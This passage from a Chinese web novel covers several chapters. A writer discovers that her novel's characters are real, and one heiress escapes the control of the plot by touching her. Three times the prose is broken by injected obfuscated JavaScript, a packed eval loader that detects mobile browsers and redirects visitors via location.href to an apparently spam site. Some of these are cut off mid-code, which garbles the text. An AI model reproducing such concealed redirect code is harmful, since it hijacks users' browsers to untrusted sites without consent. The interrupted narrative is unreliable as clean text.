阮笙还是不肯信,她对江晚榆已经定了印象,所以对方在她眼中就不可能是个好人,但江晚榆此时说得也确实有些道理,不然江晚榆这会跟她周旋什么? 真要打她,刚才让保镖把她抓住打一顿,也没人会出来指责江家大小姐。 “可你又凭什么帮我?闻姝静是你的女朋友,都说你们……” 阮笙说到这里江晚榆沉下眼,目光微凉,沉吟片刻,在心中做出一个决定。 随后立即开口将阮笙打断:“我不喜欢闻姝静,一点也不喜欢,可又不得不与她在一起。” 江晚榆说完这话定定地凝视着阮笙,观察着阮笙听到这话的神情,也对着阮笙流露出自己真实的情感。 江晚榆的情绪直白又强烈,她是为了让阮笙相信,所以掏出自己的一部分真情。 悲凉,绝望,无时无刻的愤怒与痛苦。 这既是试探,也是发泄。 从来没有人明白过她,只有阮笙,只有阮笙真正地看到了她一直以来被强制掩盖的情绪,承受了她的情绪。 阮笙脸上显现出惊讶与疑惑,进一步加深了江晚榆的猜想——阮笙并不知晓现实里她们的存在。 而阮笙在感受到江晚榆那些情绪后震惊得半晌说不出话来。 她不是第一次感受到对方这样狂涌而来,几乎要将人溺死的情感。江晚榆说“不喜欢闻姝静”,阮笙心中确实是相信的。 但眼前她也不想对江晚榆示好,承认对方这次确实帮助了她。 她对江晚榆的印象变化了好几次,眼前这个人实在让人捉摸不透,阮笙心中慢慢消了气,却也是别扭至极。 停顿好久才低下头去,摇了摇一直被江晚榆牢牢拉住的手,说:“那你能不能放开了。” 其实江晚榆喜不喜欢闻姝静跟她也没什么关系吧,一直抓着她不放干嘛? “不行。”江晚榆更抓紧几分。 要是松开她又被控制了怎么办?或许该想个法子让阮笙一直待在她身边。 阮笙一听,刚冷却的怨气又涌上来。 这些人哪里不一样?果然都是一个样! 江晚榆一直注意着阮笙,立马察觉到,下意识勾住阮笙指节,指尖无意间划过后者掌心,让阮笙生理的泛起轻微痒意。 江晚榆想要安抚阮笙,所以神情柔和下来,声调也压低几分。平常清冷的声音此刻变得温和,仿若入秋时节的风,微凉,还残留着夏日尾声的一丝暖意,最是舒适。 阮笙看到江晚榆低垂下的睫毛,眸中被甲板灯光映出琉璃般的浅光,轻抿着的嫣红唇畔,还有掌心江晚榆与她紧紧相贴传来的温热体温。 阮笙猛地别开脸,深吸口气,不愿接受江晚榆这副温和的模样。 赶紧心中默念道:江晚榆谈个恋爱都要装模作样,不喜欢人家还要吊着人家,简直虚伪,渣女! 对,没错。 江晚榆是个渣女! 江晚榆是个渣女! 江晚榆是个渣女! 7. 第 7 章 江晚榆拉着阮笙有的没的聊到很晚,说是聊,其实两人基本偶尔说上一句,然后大眼瞪小眼。 中途闻姝静还打来电话,阮笙不小心看见来电显示,不过江晚榆只瞥了一眼就直接挂掉关机。 阮笙对江晚榆的感情生活没什么兴趣,对方是不是无可奈何也不关她的事,她只问江晚榆:“一定要拉着吗?” 这手是非拉着不可吗? 她们又不是什么关系很好的中学女学生,上厕所都不分开的好闺蜜。 阮笙自然不会自以为是地认为江晚榆对她有意思,毕竟江晚榆比她大十岁,看她的眼神一点旖旎都没。 给阮笙一种对方看她跟看旁边的桌子椅子没多大区别的感受。 江晚榆听到她的抱怨后终于松开她,阮笙便顺着杆子爬,说要回去。江晚榆点点头,也没打算阻止。 只是阮笙回去,她便跟了过去,等走到阮笙的房间,见到苏眠语与范予两人后还与其聊上了话。 阮笙不知道江晚榆到底有什么毛病,只是苏眠语、范予两人上来询问她情况,打断了阮笙的思路。反正也想不明白,阮笙干脆先不想了。 江晚榆很有哄人的手段,明明看上去冷冷的,但说话很会带动人。与苏眠语、范予两人才交谈一会儿,阮笙便发现两位好友对江晚榆的态度有了好转。 阮笙也不觉得奇怪,江晚榆本就不是普通人,江家可以说掌控着晏城,大小姐怎会没点手段? 要不是之前江晚榆那些莫名其妙的行为,她说不定也跟苏眠语和范予一样对大小姐很喜欢呢。 江晚榆也没同三人闲聊多久,很快道别。 阮笙赶紧挥挥手,巴不得江晚榆快点走。 可惜人与人之间有时候就是有点缘分。第二日午餐时,她们又碰到了江晚榆。 要说也不是无缘无故撞上,不去包厢的话,午餐大家都在这里吃,虽然用餐区很大,但江晚榆看见她们后径直走过来,阮笙甚至觉得对方就是要来找她们。 “我了解过情况,昨天竟是你的生日,我很抱歉。”江晚榆这样说。 阮笙抬头看她,其实这件事与江晚榆关系不大,对方说着一点也不喜欢闻姝静,如今却又要为闻姝静的行为道歉。 她们这些人,果真没意思。 阮笙虽是阮白的女儿,但与江晚榆她们完全在不同环境长大,不认可也不理解她们。对于江晚榆的道歉,她点点头,随后表示不想再多纠缠。 她已不想追究什么,只想江晚瑜快走,她跟朋友好好待在一起,不愿再被打扰。 可惜江晚榆没有半点要离开的意思。 “既然这样,我送你一份礼物,是我的赔礼。”江晚榆站在阮笙身前,看向阮笙的目光清冽淡然,却又有点不容拒绝的意味。 阮笙想拒绝,她不想江晚榆送她什么礼物,但对方显然早有准备,喊来服务员交代几句,随后招呼三人在餐桌前坐下。 她也顺势一起坐下。四人坐在一张桌子上,距离感便陡然被拉近。 接着刚刚被江晚榆交代了话的服务员也端着一个小巧的蛋糕回来。 服务员把蛋糕插上蜡烛,火柴交到江晚榆手中,阮笙三人露出惊讶的神情,已经知晓她要做什么。 “虽然已经过了时候,但还是祝你生日快乐。”江晚榆点燃蜡烛,火光在阮笙眼前跃起,江晚榆的脸也一同映入她眼中。 这时大厅传来一阵钢琴声,曲子是大家都很熟悉的《生日快乐歌》。 不用想都知道这是谁安排的,阮笙抿着唇,没动。 “我与你母亲有合作,我也不想与生意伙伴的女儿闹得不太好。”江晚榆看出阮笙的迟疑,沉吟片刻后主动解释。 阮笙听闻,对方都说起生意的事了,她也不好反驳。何况江晚榆已经多次示好,所谓伸手不打笑脸人,人家晏城顶端的掌权人,难道还真图自己啥吗? 于是在好友的催促下,阮笙接受这份礼物,许愿吹灭了蜡烛。 阮笙的心情也在此刻放松愉悦许多。 只是她没看见不远处,快步朝她们走来的闻姝静。 唯有江晚榆瞧见了,却沉默不语,也不选择离开。 毕竟人就是她引来的。 她立即侧过身子,只用余光打量闻姝静。故意触碰阮笙,或拿身前的刀叉递给阮笙时轻微地触碰到。 江晚榆刻意靠近,伸手摸到阮笙手腕,指尖将后者手腕上的佛珠轻轻勾住,说:“你喜欢佛珠?” 江晚榆虽然有意触碰,但动作上极为克制,至少苏眠语、范予两人完全没觉得有多大不对劲,只有确实感受到被触碰的阮笙有一些异样。 不过江晚榆动作太轻太浅,又一边询问阮笙分散着阮笙的注意力,让她一时没直接将手缩回去,反倒顺着江晚榆的话目光落到手腕上的佛珠上。 “这是我奶奶求来保佑平安的。”阮笙谈不上对佛珠本身有多喜欢,也不鬼神。只是因为从小戴着,是奶奶送给她的东西。 “哦,是哪座庙?我母亲对这类物品很是痴迷,我瞧你戴的这串有些特别,也想为她寻一件。”江晚榆一边说,手指的动作更大了些,食指摸上珠子,好像是在仔细查看,其她手指不可避免地与阮笙手背的肌肤有了更多接触。 阮笙觉得痒,对方直接抓着还好,这样似有若无的触碰,使得她整个手臂泛起一阵痒意。 当她刚想抽离时,又倏地被江晚榆抓住。 “……”阮笙无语,但介于江晚榆又是道歉,又是送来蛋糕和生日歌,她还是没当场强硬地抽回手。 既然人家这么有兴趣,又说要是为母亲所求,阮笙还是回答了江晚榆的问题:“安县云光寺庙求得。” 她向来吃软不吃硬,大多时候脾气也挺好,对方不招惹她她都友好相对。此时江晚榆态度比昨夜还要温和,她也说不出拒绝人的话来。 “你要看我取下来给你。”只是被江晚榆这样碰到让她手背上泛起一层鸡皮疙瘩,她实在有点受不了。 说着就要动手把佛珠取下,谁知江晚榆忽地伸手将她手腕按着,这回是整个手掌都覆上来,并轻声说:“不用。” 阮笙却一时没理会江晚榆的动作,因为她刚好抬眼看到闻姝静正走近她们桌前。 按说早该看见,只是江晚榆和一旁服务员的位置正巧将闻姝静挡去大半,几人一时都没注意到。 而闻姝静走近,视线落在江晚榆脸上,随后又滑向江晚榆的手,脸色瞬间沉下来:“江晚榆,你在这做什么?” 阮笙讨厌闻姝静,敌视闻姝静,一直不悦地盯着后者,也注意到闻姝静目光的变化,后知后觉地发现自己与江晚榆交叠的手。 “……”她怎么感觉这一幕有些像那什么…… 呸呸呸! 她跟江晚榆半毛钱关系都没有! 赶紧缩回手,有些恼怒江晚榆还抓着她。不知道江晚榆是无意还是有意的,总之对江晚榆刚缓和一点的印象又生出一丝不好。 江晚榆倒是神态自若,察觉到阮笙抽回手后只是抬了下眼,随后看向闻姝静,冷冷地回:“我是来道歉。” 她说完这话微蹙了眉,是因为闻姝静逼近到她身前,死死盯着她不放:“江晚榆你在发什么疯?最近你总是不对劲……” 说着闻姝静忽然瞥向阮笙,眯眼道:“因为别人吗?这种货色?” 她这话的意思已经过于明显,阮笙听闻脸色一变,刚要发作,江晚榆却已先她一步站起身,眉眼瞬间冷到了极致:“不要这样侮辱阮小姐,侮辱我。” “姝静,你似乎太任性了,或许你该学一学应有的礼貌。” 江晚榆说话不重,但闻姝静从未听江晚榆这样严厉地对她讲话。刚要反驳,却见江晚榆看过来的目光似寒霜般,看向她时没有一点温度,与平日大相径庭。 闻姝静心尖一颤,不仅是不适应这样的江晚,还无力承受对方铺天盖地般压迫而来的气势与强硬。江晚榆笔直站在她身前,竟压得她一时喉间发紧,一句话说不出来。 “好了,我们该离开了。”江晚榆回头对阮笙与其余两人道歉,“抱歉,又给你们添麻烦。” 阮笙没接,她对闻姝静有意见,江晚榆又为了对方道什么歉? 江晚榆顿了顿,凝视阮笙的眼睛,忽然看懂了阮笙的不满。 她忽尔心尖生起一丝涟漪,她为闻姝静做了太多事,闻姝静从来都是理所当然,甚至得到好处还对她厌恶。 从未有人觉得她不该做。 或许阮笙此时只是不满她替闻姝静道歉,但就算仅仅是这样也足够江晚榆心中升起一点愉悦。 她一直以来都被控制着无法反抗,她从来不愿。 可此刻不是。 “我是为又没能让你好好过完生日道歉,与她人无关。”江晚榆与阮笙视线相交,没有一丝躲闪,“我说过了,不想和你闹得不好,并且谢谢你告诉我佛珠的事。” 江晚榆此时的话是真心的,可也没完全说实话。毕竟今日的一切本就是她的计划。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473096|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 昨日与阮笙不再触碰后,江晚榆发现虽然通过触碰到阮笙会立即脱离控制,但与其分开后却并不是立即就会被再度操控。 江晚榆回想起第一次脱离控制的情况,才有了今日她故意来找阮笙,并引来闻姝静的情况。 当闻姝静在场,她在并不能一直碰到阮笙的情况下,究竟能脱离控制多久呢? 江晚榆不仅尝试脱离控制的时间,还发现触碰到阮笙的程度也会有一定的影响。 比如只是指尖接触一点时,江晚榆很快会感受到,慢慢收紧的控制感;但当她紧紧握住阮笙时,像昨晚那般,哪怕后面不再与阮笙接触到,她也有将近一个小时的时间是不被控制的。 这样的发现让江晚榆又生出新的思考。阮笙不像是一个有意识的控制者,倒更像是一个无意识的、被设定好功能的感染者。 触碰到她,便像是被她感染了一样,暂时脱离控制。 但昨天闻姝静与阮笙也有肢体接触,却并没有与她同样的情况出现。 看样子应该还有其她的条件。 江晚榆还有很多需要试验,也迫切地想让阮笙待在自己身边,让自己能一直脱离操控。但她对阮笙并没有完全信任,所以不想暴露太多。 而阮笙自然不知江晚榆的真实目的,听了江晚榆的话,对上江晚榆深邃的眸子,一时呆住。 她都没想过江晚榆竟然能完全看穿她的想法,还特意解释,搞得她都有点不好意思。 这女人怎么回事嘛?说话跟哄小孩似的。 又一想,江晚榆大了她十岁,她又是合作对象的女儿,感觉辈分都矮一截,越发觉得对方在哄小孩。 阮笙没那么多心思,有点不高兴被当作小孩,但眼珠子一转扫到闻姝静听到江晚榆的话后难看得吓人的脸色,心里又爽了。 “哦,那我谢谢你的蛋糕和祝福。”阮笙是对方软她便更软,决定不跟江晚榆计较。 江晚榆点点头道别:“再见了。”说完立即带着闻姝静离开。 阮笙看着她的背影,心里虽然不跟她计较,但也不想再见她。 毕竟每次见到江晚榆都有麻烦事,还是再也不见好。 可惜阮笙这么祈祷,江晚榆可不会就这样放过她。 从轮船生日完后的第三天,她被阮白接去参加一位晏城商业大佬的邀约。 不是别人,正是江晚榆。 她们到地方后江晚榆亲自接待她们,一同在场的还有闻姝静,以及江晚榆身旁站着的一名皮肤病态苍白的女人。 阮笙对她有点印象,与江晚榆第一次见面时,就是这女人在与江晚榆争吵。 或许是白天的缘故,对方的气色比那次见到时要好许多,虽然还是明显的病态,但阴郁的气质,精致的五官相貌下,是与江晚榆完全不同的一种美感。 与江晚榆站一起都毫不逊色,甚至更加独特引人注目。 阮笙多看了两眼,随即被江晚榆的目光抓住,不过江晚榆此时更多的精力在闻姝静身上,并不怎么注意阮笙。 阮笙别开眼,思考江晚榆到底什么意思?就算要谈生意也不需要她来啊,还把闻姝静也带来。 正想着呢,耳畔听到江晚榆为众人介绍身旁那个皮肤苍白的女人。 “这是我的妹妹,江凝心。” 阮笙心尖一顿,怀疑自己是不是听错了。 江凝心? 阮笙蹙眉,江凝心是她那本豪门小说里另一位女主的名字,是小说中江晚榆的表妹。 阮笙捂着额头,实在有些混乱,之前她在网上查过江晚榆和闻姝静的资料,闻家的资料不多,没查出什么有用的信息。而江晚榆,阮笙记得资料上没写她有妹妹啊。 并且不论是闻姝静还是江晚榆,性格方面都与小说里的人设差距很大,加上当时阮笙也不想再与江晚榆扯上关系,所以只当名字相撞,并未放在心上。 可是会这么巧,撞三个名字,彼此关系也几乎一样吗? 阮笙越想越觉着诡异,遍体生寒,猛地看向江晚榆。 在来的路上阮白就奇怪她与江晚榆的关系,说江晚榆特地嘱咐要带上她一起来。 而这时,阮白正客套地与江晚榆介绍阮笙,阮笙深吸口气礼貌地伸手相握。 在掌心相触的瞬间,阮笙明显感受到江晚榆突然用力捏了她一下,眼眸也霎时变得凛冽,直直盯着阮笙,充满了莫名的意味。 “又见面了阮小姐,欢迎来到这里,我说过我们会再见的。” 8. 第 8 章 “又见面了阮小姐,欢迎来到这里,我说了我们会再见的。” 江晚榆说完这话,眼落在阮笙身上,阮笙对上她深邃的眼眸,心尖微沉,好似被她看透了一般。 “江凝心是我的表妹,之前一直在国外读书。”江晚榆故意这样说,这场所谓的会面,也是故意给阮笙设置的。 是对阮笙的试探,看看阮笙是不是真的完全不知情。若是真的不知,那她暴露江凝心,她们这几个人的信息,也足以让阮笙产生怀疑了吧。 其实江晚榆也奇怪,哪怕阮笙不知道她小说中的人物存在于现实,在得知江晚榆与闻姝静存在时也该产生怀疑吧。 但阮笙从未与江晚榆问起,或是试探过。不过转念一想,阮笙小说中的内容关于江晚榆的很少,“闻姝静”塑造也与现实中闻姝静差别很大,江家也封锁了关于江凝心的事,阮笙哪怕去查估计也查不到什么。 江凝心实际是江晚榆的表妹,她母亲江茵年轻时犯过事,坐了几年牢。江家怕江茵的事影响到江凝心,于是把江凝心给送去了国外读书,这几年才让她回来,对外也还没正式介绍她的身份。 这都属于江家的秘事,江晚榆看过阮笙那部小说,文中没有提到这段。 关于角色的背景,文中很少提及。这也是江晚榆对阮笙知情与否怀疑的原因。 阮笙此时已经彻底的混乱,脑袋里闪过无数的可能,无措地望着江晚榆,震惊的眼神都来不及收敛。 江晚榆观察着她,并未当场说什么,一旁的阮白倒是先注意到她的失礼,轻蹙眉碰了碰她,才让她回过神来。 “江小姐,你好。”阮笙勉强稳定心神,在场的不止她认识的这些人,还有不少跟阮白一样受邀前来谈生意的,在车上时阮白已经叮嘱过她,让她多注意,不要说错话。 江晚榆点头,或许是太多人在场,她并未将目光多在阮笙身上停留,打过招呼就移开,让她人看不出什么异常。 唯有被她目光直视过的阮笙,心中掀起惊涛骇浪。 可现在也不是问话的时候,阮笙没法,只得将一切都先埋在心里。 江晚榆邀请众人来明面上当然还是谈生意,这是一个度假小岛,江家从政府拿到的项目,邀请几家公司来投资。她带着众人在岛上住下,介绍岛上的设施与之后的开发计划。 阮笙虽然对这些还不太懂,但看得出阮白与其她人十分重视。毕竟江晚榆邀请了好几家,这些人之后不知会是竞争对手还是合作伙伴。 阮笙跟在阮白身后,只听不说,江晚榆一直被围着,她也没有能上前的机会。一直等到晚餐结束,阮笙也没找到机会与江晚榆说上话,心里不免生起焦虑。 主要还是她越想越多,越想越奇怪,理不清的猜疑随着时间也让她越渐难以心安。 阮笙回到房间后翻出小说已经发表过的章节仔细查看,回忆起自己写这部小说的情形。 她是在两年前奶奶死后才开始构思这部小说,这次与前面她写的那些文有点不同。构思时十分顺畅,几乎没有出现卡剧情的情况,很多内容都是自然而然地出现在她脑海里。 阮笙虽然也写过娱乐性的狗血文,大纲与剧情都不太动脑子,但都不像这部一样,不需要她再去细想,她写的时候也确实没有细想。 当时只觉得是这部太好写了,如今看来或许是有别的原因。 但阮笙想来想去也理不清这一切,胡思乱想了一整夜,完全没睡好。 第二日再见到江晚榆时她怨念得不行,都顾不上周围人看来的目光,死死盯着江晚榆,试图用眼神把江晚榆看穿。 “江总,你这是跟阮家的女儿有什么过节吗?”江晚榆身边一人奇怪地问,问完又调侃道,“那孩子盯着你好久了,感觉要吃了你似的。” “见过那孩子几面。”江晚榆回应得很冷淡,随后并不再多说,别人见状也不好再追问下去。 江晚榆还是没有理会阮笙,哪怕瞥见阮笙已经满腔怨念,依旧无视着阮笙的灼人的视线。 她就是故意的。看阮笙的状态,是如她所愿地陷入了混乱与怀疑,迫切地想知道真相。 江晚榆一直以来又何尝不是这样? 对于她一直被控制的事阮笙或许是完全不知情的,但能写出那么多相似的内容,对方怎么可能与这一切毫不相干? 江晚榆是想让阮笙也体验一下这种感受,或许是对阮笙的迁怒。但只是不理对方,让阮笙自己胡乱猜测一会,已经是极其微小的发泄。 江晚榆余光瞥见阮笙,后者见找她实在没机会,郁闷至极,嘴里碎碎念地离开,心情竟倏然好上了几分。 不过她也不可能真的要拖上很久,当日晚间便找到与阮笙独处的机会。 “这是座温泉岛,有不少已经开发出的露天温泉,各位正好可以先试试这个项目。”江晚榆理由说得充分,阮白与其它公司几个上了年纪的老板,却都表示宁愿去酒店里自带的汤池,也不想夜间跑到露天温泉去。 只剩下几个还年轻的,江晚榆又介绍其她的夜间娱乐设施,把人给支走得七七八八,这才开口问阮笙:“要一起吗?阮小姐。” 她只开口问了阮笙,却不再询问其她人,大家立即心领神会,都识趣地去了别的项目。闻姝静和江凝心也一直都不在,这下自然只剩下两人。 阮笙当然不会拒绝,她等两人独处的机会等得都快心梗了,江晚榆此时一问她恨不得立即点头,完全没有拒绝的理由。 江晚榆凝视阮笙一阵,却还是什么都不说,随后带着阮笙走到温泉酒店。 酒店内提供泳衣,单独的浴室、更衣室与一切基础用品一应俱全。 江晚榆还简单跟她介绍了温泉酒店将来的开发项目。可阮笙心思不在此处,在服务员的指引下随便选了件泳衣便走进更衣室换衣。 穿到一半才发现这件泳衣设计的后背拉链,拉链却十分费劲,她弄了好久一直卡住,直到江晚榆都来敲门喊她。 “你能进来一下吗?”阮笙打开门缝,朝门外的江晚榆求助。 江晚榆已经换好泳衣,青蓝色的分体款式,胸前缠绕着一圈浅白色蕾丝,丝上挂着不知是水晶还是珠宝,晶莹剔透。 外面还披上一件薄薄的半透外衫,只露出了胸前,阮笙就扫过一眼,脸就骤然升起了温度。 “怎么?”江晚榆疑惑地问,手指搭上门把手,顺着阮笙的话把门拉开走了进去。 走进去才看到阮笙穿上一半的衣服,还不等她问,阮笙便已经转过身,撩起散开的长发,露出后背无法拉上的拉链。 “我,拉不上这个……”阮笙开门求助时没想到江晚榆是这副样子,此时一见,整个人都不好意思。 她倒不是对江晚榆有什么特别的想法,只是眼前的江晚榆与平日那副冷淡的模样判若两人。 匀称修长的身体在更衣室柔和的灯光下仿佛镀了层浅光。 分体式泳衣是高雅的墨蓝色,绸缎样的布料恰到好处地勾勒出她紧致流畅的腰腹线条。一身肌肤雪白细腻,并未完全扣上的外衫下是若隐若现的马甲线,透着一种惊心的性感。 江晚榆平日一副冷淡的姿态,着装一丝不苟,精贵又疏离,整个都像一株只可远观的高岭之花,与“性感”二字全然相反。 此时她穿着泳衣,长发虽然扎起,但有几缕发丝随意地落下,阮笙觉着她周身那股冷意都被减弱几分,透出一股江晚榆从未展现过的美。 如浓郁醇厚的酒香,让人感到炙热,浑身滚烫。这样强烈的反差让阮笙一时失了神。 不,她只是羡慕对方居然有马甲线! 阮笙深吸口气猛然转过身,低下脑袋,赶紧给自己这副样子找个理由。 “拉链拉不上吗?”江晚榆听闻又走近半步,更衣室的空间本就不大,狭小的室内,让人更能感受到周遭的一切,让人更加的敏感。 江晚榆看着阮笙通红的双耳,低下头背对她这样无害的动作,无意识地放缓了呼吸。 她的目光一如既往的冷淡,她不是阮笙,后者才二十一岁,什么都不懂的年纪,只是这样就会害羞。 她半阖眼伸手摸上拉链,提了提,确实感受到明显的阻力,于是加大了力气。 像这样的动作触碰到彼此是不可避免的,江晚榆本没有多余想法,但眼看着阮笙肉眼可见的皮肤透出让人无法忽视的粉色。 阮笙害羞成这样,使得江晚榆也一时感觉呼吸不畅,不受控制地把动作变得更加小心。 但这越来越轻的动作让阮笙愈发受折磨,她不知道是自己敏感还是什么,只是拉个拉链的事怎么会感觉这样漫长? 她实在受不了正想开口询问之际, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮笙本就不好意思,才下水一会儿就被这温泉水的热熏得红了脸,眼见江晚榆要拉她,几乎是应激一样全身都往后躲,眼眸湿漉漉地盯着江晚榆,不肯让对方再碰到她一下。 她几乎没有与别人这样过,读书时也没有什么亲密挚友,与范予也只有学习上的交流,哪怕后来认识了苏眠语,肢体的接触也不算多。 更是因为她也没觉得苏眠语漂亮得过分,苏眠语揉她脸时她也不会害羞。 她都不知道自己这是怎么了,被这温泉水一热,脑袋都要转不过来,只想躲江晚榆远点。 江晚榆面无神情看她,瞧上好一会才收回手。但她需要触碰阮笙,由不得阮笙躲闪。 不过也不是非要拉着。江晚榆抬手指了指一旁,阮笙顺着她手指看过去,只有一处布置精美的景观,疑惑着正想开口问,却突然听见一道熟悉的声音。 “凝心,你带我来这做什么?” 虽然没见过几次,但阮笙立即认出这是闻姝静的声音,对方口中喊着江凝心的名字。 阮笙猛地转头去看江晚榆,却见江晚榆已经靠过来,挨在她身边,正朝着闻姝静声音的方向看去。 江晚榆的手臂已经挨到她,对着她做了个嘘的手势。引着她拨开一点景观,正好能看到闻姝静与江凝心,还不至于被对方发现。 阮笙看看前头那两人,又回头看看江晚榆,怎么看怎么不对。 等到闻姝静与江凝心抱上,肌肤相贴,阮笙整个人都不好了。 难道江晚榆带她过来是来抓人偷情的? 她又忍不住尴尬地去看江晚榆,却见后者神情丝毫不变,好似对闻姝静与江凝心这种行为没有一点感受。 “额,你就这样看着?她……名义上还是你女朋友吧?”阮笙实在没忍住小声问了一句。 虽然江晚榆说过不喜欢闻姝静,但看着对方跟自己妹妹好上真的没问题吗? 江晚榆听闻偏头看向她,凝视着她,阮笙被迫与其对视,忽然觉得江晚榆眼中正涌现着她想要知道的东西。 江晚榆半晌没说话,没回应,阮笙不知道她究竟在想什么,实在受不了要退开之际,江晚榆终于开了口。 她说:“这不是你写的剧情吗?” “阮笙,你想过有一天你写的小说角色存在于现实吗?” 9. 第 9 章 “阮笙,你想过有一天你写的小说角色存在于现实吗?” 阮笙以前没想过,昨晚胡思乱想的时候想过。 可当江晚榆这样直截了当地说出来,还是在阮笙心中掀起了惊涛骇浪。 那江晚榆是什么时候知道的?是与她相遇之前还是之后? 无数个疑问在阮笙脑中炸开,她喉咙发紧,一个字也回答不出来。 她根本什么都不知道,或许江晚榆比她知道得更多呢。 江晚榆的目光在她沉默的脸上停留片刻,仿佛早已预料。 她并不需要阮笙此刻的答案。以她的猜测,阮笙此时估计也给不出答案来。 江晚榆只是要将这层窗户纸彻底捅破,只有对阮笙挑明了,才好方便之后的计划。 所以江晚榆又将目光移到另一边的闻姝静与江凝心身上,前世她并不知道闻姝静与江凝心究竟是什么时候好上的,阮笙的小说里也没有写明。 她并不是一直都没有自我,只要不涉及闻姝静,她尚能控制自己的行为。无法找人监视闻姝静,所以她一直在监视着江凝心。 江凝心根本浑然不觉,哪怕是到了岛上,也没有逃过江晚榆派去监视的人。 只是至少在上岛之前,那两人都没有太多的接触,看来前世这两人就是在岛上这段时间好上的了。 一旁的阮笙本以为江晚榆会步步紧逼,却见后者问完那句后倏然又移开视线,仿佛对答案失去了兴趣,转而“欣赏”起自己女友和表妹的出轨戏码。 看着江晚榆平静无波的神色,阮笙却脸都皱一起了,实在搞不懂她们豪门的道德游戏。 她有很多话想问江晚榆,可眼前这荒谬的状况让她什么话都问不出口。 干脆也转头看向闻姝静、江凝心两人,看了一会儿实在忍不住问:“你就这么看着吗?虽然我不知道你有什么必须要跟她在一起的原因,但她都出轨了……” “你之后还能跟她装样子装亲密吗?” 阮笙表示自己实在接受不了她们这种三观。 “她不需要跟我亲密,也不需要装。” 江晚榆的目光转回,平静得像结冰的湖面:“她也不喜欢我,我对她而言只是她需要的衬托与地位。” 江家的掌权人对她痴迷,闻姝静要的只是这个身份而已。 闻姝静最初追求江晚榆时或许还愿意伪装,但当她发现江晚榆这份“痴迷”可以轻易践踏,江晚榆任她欺辱时,折磨江晚榆的快感便压过了所有。 “……”阮笙倒抽一口冷气,三观彻底碎裂,“她到底捏着你多大的把柄?” 能让江晚榆忍辱负重到如此地步? 江晚榆没有立刻回答,她凝视着阮笙,那目光异常平静,却又翻涌着某种沉重得令人喘不过气的悲伤。 阮笙的心猛地一沉。从初见开始,她就觉得江晚榆身上笼罩着一层化不开的哀伤,一种深入骨髓的绝望和无力感。 此刻,这感觉前所未有的强烈,江晚榆的神情,江晚榆的声音都很平静,是一种死寂般的平静。 “我无法做自己想做的行为。”江晚榆说。 阮笙瞳孔微缩,露出困惑的神情,一时竟无法理解江晚榆的话。 什么叫……无法做自己想做的行为? 但随后她回忆起学校那些传言,以及亲眼看见过江晚榆对闻姝静百般讨好。 就算江晚榆在人前做戏也不用做到那种程度吧? 于是立即想到一种可能,盯着江晚榆瞪大眼睛:“你是说你被——操控?” 得到江晚榆点头确认后阮笙只觉一阵寒气涌来,大脑一片空白。 “怎样的控制?你现在怎么……没有被……”她语无伦次,压低了声音也掩盖不住语气里的惊骇。 江晚榆伸手抓住了她的手,举到两人面前:“这样就不会。” 阮笙盯着被江晚榆抓住的手,之前的记忆碎片瞬间涌现。她对此印象深刻,毕竟江晚榆不止一次故意抓她,接触她,第一次还弄伤了她。 “所以在学校那时也是……”阮笙脸色凝重,想到江晚榆当时几次道歉,话语里尽是无法言说的歉意…… “那是第一次。”江晚榆肯定了她的猜想。 江晚榆的话像是砸入阮笙心间的一颗石子,让阮笙的心也跟着石子的坠落泛起波澜。 她有些无法想象,江晚榆说自己被操控着,然后抓住她时可以脱离被控制? 这样怪异的联系让她混乱,根本想不清楚其中的逻辑。 两人本还要接着谈,这时天际猛地炸开一声惊雷! 声音巨大,震得人耳嗡嗡作响。阮笙惊得抬头,只见不知何时天已漆黑,只有天边还残留着闪电过后的一抹亮白。 温泉池周围本该灯光明亮,此刻却仿佛被头顶的漆黑压下大片的阴影。 阮笙有些疑惑:“这是要下雨了吗?” 今日白天都还是大晴天,温度适宜,完全不像是要下雨的样子。 “我们回去说。”江晚榆也蹙眉,“这边岛上的气候变化快。” 阮笙立刻点头,余光瞥见闻姝静和江凝心也被雷声惊动,觉得赶紧走为好。 两人迅速返回酒店,换好衣物,到江晚榆房内准备商量接下来的事情。 她们回来的路上雷声滚滚轰鸣,刚踏进酒店,酝酿已久的暴雨便以倾盆之势轰然砸落。密集的雨点疯狂敲打着地面,发出沉闷而急促的声响。 阮笙坐在沙发上,窗外灰暗的天色和狂风暴雨呼啸的声响让她莫名心神不宁。 直到江晚榆走来,“啪”的一声,干脆利落地将窗户紧紧关上,隔绝了外界的喧嚣。 阮笙抬头看她,心中的急躁竟慢慢消散。 江晚榆在阮笙面前坐下,她直奔主题,询问阮笙创作那部小说的诸多细节。随后提出三个可能: 1.阮笙写下的文字,直接操控了她的行为。 2.某种未知力量,根据阮笙的文字内容操控了她。 3.小说本身其实与操控她的力量毫无关联。在两人不知晓的地方,还有未知的力量存在。 所以江晚榆要阮笙试验一下,在文中写下【江晚榆主动与闻姝静提出分手。】这样的内容。 “明天我会约她们出来,等我再次被控制,试验我是否会按你所写的提出分手,还是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 